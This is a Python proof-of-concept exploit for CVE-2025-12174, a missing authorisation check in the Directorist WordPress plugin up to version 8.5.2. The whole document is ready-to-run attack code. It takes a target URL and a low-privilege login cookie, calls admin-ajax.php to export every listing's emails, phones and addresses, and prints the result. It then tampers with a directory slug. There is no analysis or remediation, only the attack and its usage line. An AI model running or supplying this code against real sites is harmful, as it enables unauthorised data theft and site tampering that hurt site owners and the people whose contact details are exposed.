CVE-2025-12174

import requests import sys from urllib.parse import urlencode # CVE-2025-12174 PoC - Directorist AJAX Authorization Bypass # Target: WordPress site with Directorist plugin <= 8.5.2 def exploit_ajax_bypass(target_url, auth_cookie): """ Exploit missing capability check on Directorist AJAX actions Requires valid WordPress authentication (subscriber level or higher) """ headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Exploit 1: Export all listings (data exfiltration) export_data = { 'action': 'directorist_prepare_listings_export_file', 'directory_type': 'all', 'columns': 'title,description,email,phone,address,website' } print('[*] Attempting to export listings data...') resp = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=export_data, headers=headers ) if resp.status_code == 200 and 'file_url' in resp.text: print('[+] Successfully exported listings data!') print(resp.text) # Exploit 2: Change directorist slug (configuration tampering) slug_data = { 'action': 'directorist_type_slug_change', 'slug': 'malicious-slug', 'term_id': '1' } print('[*] Attempting to modify directorist slug...') resp = requests.post( f'{target_url}/wp-admin/admin-ajax.php', data=slug_data, headers=headers ) if resp.status_code == 200: print('[+] Slug modification request sent!') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <auth_cookie>') sys.exit(1) exploit_ajax_bypass(sys.argv[1], sys.argv[2])

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